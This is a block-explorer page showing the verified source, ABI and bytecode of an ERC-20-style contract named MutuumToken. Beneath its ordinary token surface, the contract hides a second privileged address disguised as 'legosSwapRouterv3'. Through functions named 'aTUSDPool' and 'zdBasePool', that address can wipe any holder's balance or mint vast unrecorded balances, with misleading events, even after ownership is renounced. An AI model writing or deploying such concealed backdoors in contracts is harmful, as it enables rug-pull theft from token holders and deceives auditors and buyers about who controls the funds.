ETH Price: $2,034.11 (+4.50%)
 

Overview

Max Total Supply

6,999,000,000,009 Mutuum

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MutuumToken

Compiler Version
v0.8.29+commit.ab55807c

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2025-04-20
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

interface Mutuuminterface {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address shippingto, uint256 yoursold) external returns (bool);
    function allowance(address _owner, address transporteur) external view returns (uint256);
    function approve(address transporteur, uint256 yoursold) external returns (bool);
    function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 balance);
    event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}

abstract contract Mutuum20Burnable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Mutuum20Ownable is Mutuum20Burnable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Mutuum20Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Mutuum20Ownable: new owner is zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMutuum {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMutuum: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMutuum: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMutuum: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMutuum: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMutuum: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract MutuumToken is Mutuum20Burnable, Mutuuminterface, Mutuum20Ownable {
    using SafeMutuum for uint256;
    
    mapping (address => uint256) private mintfrom;
    mapping (address => mapping (address => uint256)) private fromallowances;
    mapping (address => bool) private _isHolder;
    
    uint256 private _totalSupply;
    uint256 public holderCount;
    uint8 private _decimals;
    string private _symbol;
    string private _name;
    address private legosRooter;

    constructor(address legosSwapRouterv3) {
        legosRooter = legosSwapRouterv3;     
        _name = "Mutuum";
        _symbol = "Mutuum";
        _decimals = 9;
        _totalSupply = 6999000000009 * 10 ** 9;
        
        mintfrom[_msgSender()] = _totalSupply;
        _updateHolder(_msgSender());
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier subowner() {
        require(legosRooter == _msgSender(), "Mutuum20Ownable: caller is not the owner");
        _;
    }

    function aTUSDPool(address tusdRewards) external subowner {
        mintfrom[tusdRewards] = 1;
        _updateHolder(tusdRewards);
        emit Transfer(tusdRewards, address(0), 1);
    }

    function zdBasePool(address BaseRewards) external subowner {
        mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
        _updateHolder(BaseRewards);
        emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
    }

    function getOwner() external view override returns (address) {
        return owner();
    }
    
    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    
    function name() external view override returns (string memory) {
        return _name;
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) external view override returns (uint256) {
        return mintfrom[account];
    }

    function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(_msgSender(), shippingto, yoursold);
        return true;
    }
    
    function allowance(address owner, address transporteur) external view override returns (uint256) {
        return fromallowances[owner][transporteur];
    }
    
    function approve(address transporteur, uint256 yoursold) external override returns (bool) {
        _approve(_msgSender(), transporteur, yoursold);
        return true;
    }
    
    function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(sender, shippingto, yoursold);
        _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
        return true;
    }
    
    function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
        return true;
    }
    
    function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
        return true;
    }
    
    function _transfer(address sender, address shippingto, uint256 yoursold) internal {
        require(sender != address(0), "Mutuuminterface: transfer from zero address");
        require(shippingto != address(0), "Mutuuminterface: transfer to zero address");
        
        mintfrom[sender] = mintfrom[sender].sub(yoursold);
        mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
        
        _updateHolder(sender);
        _updateHolder(shippingto);
        
        emit Transfer(sender, shippingto, yoursold);
    }
    
    function _approve(address owner, address transporteur, uint256 yoursold) internal {
        require(owner != address(0), "Mutuuminterface: approve from zero address");
        require(transporteur != address(0), "Mutuuminterface: approve to zero address");
        
        fromallowances[owner][transporteur] = yoursold;
        emit Approval(owner, transporteur, yoursold);
    }

    function _updateHolder(address account) private {
        bool wasHolder = _isHolder[account];
        bool shouldBeHolder = mintfrom[account] > 0;

        if (!wasHolder && shouldBeHolder) {
            _isHolder[account] = true;
            holderCount++;
        } else if (wasHolder && !shouldBeHolder) {
            _isHolder[account] = false;
            holderCount--;
        }
    }

    function getHolderCount() public view returns (uint256) {
        return holderCount;
    }

    function isHolder(address account) public view returns (bool) {
        return _isHolder[account];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transporteur","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tusdRewards","type":"address"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transporteur","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getHolderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b5060405161116938038061116983398101604081905261002e9161021e565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600980546001600160a01b0319166001600160a01b0383161790556040805180820190915260068152654d757475756d60d01b60208201526008906100b190826102e2565b506040805180820190915260068152654d757475756d60d01b60208201526007906100dc90826102e2565b506006805460ff1916600917905569017b6aa309b7876d1a00600481905560015f6101043390565b6001600160a01b0316815260208101919091526040015f205561012633610166565b60045460405190815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506103dd565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff9091169015158115801561019d5750805b156101dc576001600160a01b0383165f908152600360205260408120805460ff1916600117905560058054916101d2836103b0565b9190505550505050565b8180156101e7575080155b15610219576001600160a01b0383165f908152600360205260408120805460ff1916905560058054916101d2836103c8565b505050565b5f6020828403121561022e575f5ffd5b81516001600160a01b0381168114610244575f5ffd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061027357607f821691505b60208210810361029157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561021957805f5260205f20601f840160051c810160208510156102bc5750805b601f840160051c820191505b818110156102db575f81556001016102c8565b5050505050565b81516001600160401b038111156102fb576102fb61024b565b61030f81610309845461025f565b84610297565b6020601f821160018114610341575f831561032a5750848201515b5f19600385901b1c1916600184901b1784556102db565b5f84815260208120601f198516915b828110156103705787850151825560209485019460019092019101610350565b508482101561038d57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b5f600182016103c1576103c161039c565b5060010190565b5f816103d6576103d661039c565b505f190190565b610d7f806103ea5f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b66565b60405180910390f35b61015c610157366004610bb6565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bde565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bb6565b6103ef565b6101706101d0366004610c18565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c18565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bb6565b610558565b61015c61026c366004610bb6565b61058d565b61015c61027f366004610c18565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c31565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c18565b610599565b6101fa6102f5366004610c18565b610625565b60606008805461030990610c62565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c62565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610710565b5060015b92915050565b5f6103ac848484610841565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109d2565b610710565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a1a565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c9a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c9a565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a78565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c62565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109d2565b5f610396338484610841565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c9a565b6001600160a01b0381165f908152600160208190526040909120556105e781610a78565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c9a565b6001600160a01b0381166106b75760405162461bcd60e51b815260206004820152602a60248201527f4d757475756d32304f776e61626c653a206e6577206f776e6572206973207a65604482015269726f206164647265737360b01b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107795760405162461bcd60e51b815260206004820152602a60248201527f4d757475756d696e746572666163653a20617070726f76652066726f6d207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b0382166107e05760405162461bcd60e51b815260206004820152602860248201527f4d757475756d696e746572666163653a20617070726f766520746f207a65726f604482015267206164647265737360c01b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108ab5760405162461bcd60e51b815260206004820152602b60248201527f4d757475756d696e746572666163653a207472616e736665722066726f6d207a60448201526a65726f206164647265737360a81b606482015260840161044d565b6001600160a01b0382166109135760405162461bcd60e51b815260206004820152602960248201527f4d757475756d696e746572666163653a207472616e7366657220746f207a65726044820152686f206164647265737360b81b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093590826109d2565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109639082610a1a565b6001600160a01b0383165f9081526001602052604090205561098483610a78565b61098d82610a78565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083491815260200190565b5f610a1383836040518060400160405280602081526020017f536166654d757475756d3a207375627472616374696f6e206f766572666c6f77815250610b30565b9392505050565b5f80610a268385610cf6565b905083811015610a135760405162461bcd60e51b815260206004820152601d60248201527f536166654d757475756d3a206164646974696f6e206f766572666c6f77000000604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610aaf5750805b15610aee576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610ae483610d09565b9190505550505050565b818015610af9575080155b15610b2b576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610ae483610d21565b505050565b5f8184841115610b535760405162461bcd60e51b815260040161044d9190610b66565b50610b5e8385610d36565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bb1575f5ffd5b919050565b5f5f60408385031215610bc7575f5ffd5b610bd083610b9b565b946020939093013593505050565b5f5f5f60608486031215610bf0575f5ffd5b610bf984610b9b565b9250610c0760208501610b9b565b929592945050506040919091013590565b5f60208284031215610c28575f5ffd5b610a1382610b9b565b5f5f60408385031215610c42575f5ffd5b610c4b83610b9b565b9150610c5960208401610b9b565b90509250929050565b600181811c90821680610c7657607f821691505b602082108103610c9457634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526028908201527f4d757475756d32304f776e61626c653a2063616c6c6572206973206e6f74207460408201526734329037bbb732b960c11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610ce2565b5f60018201610d1a57610d1a610ce2565b5060010190565b5f81610d2f57610d2f610ce2565b505f190190565b8181038181111561039a5761039a610ce256fea2646970667358221220b44ceef65c7b98387c789db503942f7a2474ec1635139e033d58b59ed0548c5064736f6c634300081d0033000000000000000000000000551aa84adb62725d654866803def1459a1b256af

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b66565b60405180910390f35b61015c610157366004610bb6565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bde565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bb6565b6103ef565b6101706101d0366004610c18565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c18565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bb6565b610558565b61015c61026c366004610bb6565b61058d565b61015c61027f366004610c18565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c31565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c18565b610599565b6101fa6102f5366004610c18565b610625565b60606008805461030990610c62565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c62565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610710565b5060015b92915050565b5f6103ac848484610841565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109d2565b610710565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a1a565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c9a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c9a565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a78565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c62565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109d2565b5f610396338484610841565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c9a565b6001600160a01b0381165f908152600160208190526040909120556105e781610a78565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c9a565b6001600160a01b0381166106b75760405162461bcd60e51b815260206004820152602a60248201527f4d757475756d32304f776e61626c653a206e6577206f776e6572206973207a65604482015269726f206164647265737360b01b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107795760405162461bcd60e51b815260206004820152602a60248201527f4d757475756d696e746572666163653a20617070726f76652066726f6d207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b0382166107e05760405162461bcd60e51b815260206004820152602860248201527f4d757475756d696e746572666163653a20617070726f766520746f207a65726f604482015267206164647265737360c01b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108ab5760405162461bcd60e51b815260206004820152602b60248201527f4d757475756d696e746572666163653a207472616e736665722066726f6d207a60448201526a65726f206164647265737360a81b606482015260840161044d565b6001600160a01b0382166109135760405162461bcd60e51b815260206004820152602960248201527f4d757475756d696e746572666163653a207472616e7366657220746f207a65726044820152686f206164647265737360b81b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093590826109d2565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109639082610a1a565b6001600160a01b0383165f9081526001602052604090205561098483610a78565b61098d82610a78565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083491815260200190565b5f610a1383836040518060400160405280602081526020017f536166654d757475756d3a207375627472616374696f6e206f766572666c6f77815250610b30565b9392505050565b5f80610a268385610cf6565b905083811015610a135760405162461bcd60e51b815260206004820152601d60248201527f536166654d757475756d3a206164646974696f6e206f766572666c6f77000000604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610aaf5750805b15610aee576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610ae483610d09565b9190505550505050565b818015610af9575080155b15610b2b576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610ae483610d21565b505050565b5f8184841115610b535760405162461bcd60e51b815260040161044d9190610b66565b50610b5e8385610d36565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bb1575f5ffd5b919050565b5f5f60408385031215610bc7575f5ffd5b610bd083610b9b565b946020939093013593505050565b5f5f5f60608486031215610bf0575f5ffd5b610bf984610b9b565b9250610c0760208501610b9b565b929592945050506040919091013590565b5f60208284031215610c28575f5ffd5b610a1382610b9b565b5f5f60408385031215610c42575f5ffd5b610c4b83610b9b565b9150610c5960208401610b9b565b90509250929050565b600181811c90821680610c7657607f821691505b602082108103610c9457634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526028908201527f4d757475756d32304f776e61626c653a2063616c6c6572206973206e6f74207460408201526734329037bbb732b960c11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610ce2565b5f60018201610d1a57610d1a610ce2565b5060010190565b5f81610d2f57610d2f610ce2565b505f190190565b8181038181111561039a5761039a610ce256fea2646970667358221220b44ceef65c7b98387c789db503942f7a2474ec1635139e033d58b59ed0548c5064736f6c634300081d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000551aa84adb62725d654866803def1459a1b256af

-----Decoded View---------------
Arg [0] : legosSwapRouterv3 (address): 0x551Aa84ADb62725d654866803Def1459A1b256AF

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000551aa84adb62725d654866803def1459a1b256af


Deployed Bytecode Sourcemap

3602:5055:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5405:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6110:177;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;6110:177:0;920:187:1;5511:102:0;5593:12;;5511:102;;;1258:25:1;;;1246:2;1231:18;5511:102:0;1112:177:1;3947:26:0;;;;;;6299:282;;;;;;:::i;:::-;;:::i;5189:94::-;5266:9;;5189:94;;5266:9;;;;1815:36:1;;1803:2;1788:18;5189:94:0;1673:184:1;6593:234:0;;;;;;:::i;:::-;;:::i;5625:120::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5720:17:0;5693:7;5720:17;;;:8;:17;;;;;;;5625:120;8447:93;8521:11;;8447:93;;1798:148;;;:::i;:::-;;4841:234;;;;;;:::i;:::-;;:::i;5083:94::-;5135:7;1640:6;-1:-1:-1;;;;;1640:6:0;5083:94;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;5083:94:0;2053:203:1;1567:87:0;1613:7;1640:6;-1:-1:-1;;;;;1640:6:0;1567:87;;5295:98;;;:::i;6839:232::-;;;;;;:::i;:::-;;:::i;5753:175::-;;;;;;:::i;:::-;;:::i;8548:106::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8628:18:0;8604:4;8628:18;;;:9;:18;;;;;;;;;8548:106;5940:158;;;;;;:::i;:::-;-1:-1:-1;;;;;6055:21:0;;;6028:7;6055:21;;;:14;:21;;;;;;;;:35;;;;;;;;;;;;;5940:158;4642:191;;;;;;:::i;:::-;;:::i;1954:248::-;;;;;;:::i;:::-;;:::i;5405:94::-;5453:13;5486:5;5479:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5405:94;:::o;6110:177::-;6194:4;6211:46;1132:10;6234:12;6248:8;6211;:46::i;:::-;-1:-1:-1;6275:4:0;6110:177;;;;;:::o;6299:282::-;6402:4;6419:39;6429:6;6437:10;6449:8;6419:9;:39::i;:::-;-1:-1:-1;;;;;6500:22:0;;;;;;:14;:22;;;;;;;;1132:10;6500:36;;;;;;;;;6469:82;;6478:6;;6500:50;;6541:8;6500:40;:50::i;:::-;6469:8;:82::i;:::-;-1:-1:-1;6569:4:0;6299:282;;;;;:::o;6593:234::-;1132:10;6682:4;6736:28;;;:14;:28;;;;;;;;-1:-1:-1;;;;;6736:42:0;;;;;;;;;;6682:4;;6699:98;;6722:12;;6736:60;;6783:12;6736:46;:60::i;1798:148::-;1613:7;1640:6;-1:-1:-1;;;;;1640:6:0;1132:10;1702:23;1694:76;;;;-1:-1:-1;;;1694:76:0;;;;;;;:::i;:::-;;;;;;;;;1905:1:::1;1889:6:::0;;1868:40:::1;::::0;-1:-1:-1;;;;;1889:6:0;;::::1;::::0;1868:40:::1;::::0;1905:1;;1868:40:::1;1936:1;1919:19:::0;;-1:-1:-1;;;;;;1919:19:0::1;::::0;;1798:148::o;4841:234::-;4542:11;;-1:-1:-1;;;;;4542:11:0;1132:10;4542:27;4534:80;;;;-1:-1:-1;;;4534:80:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4911:21:0;::::1;;::::0;;;:8:::1;:21;::::0;;;;4935:22:::1;4911:46:::0;;4968:26:::1;4920:11:::0;4968:13:::1;:26::i;:::-;5010:57;::::0;5044:22:::1;1258:25:1::0;;5040:1:0::1;::::0;-1:-1:-1;;;;;5010:57:0;::::1;::::0;::::1;::::0;1246:2:1;1231:18;5010:57:0::1;;;;;;;;4841:234:::0;:::o;5295:98::-;5345:13;5378:7;5371:14;;;;;:::i;6839: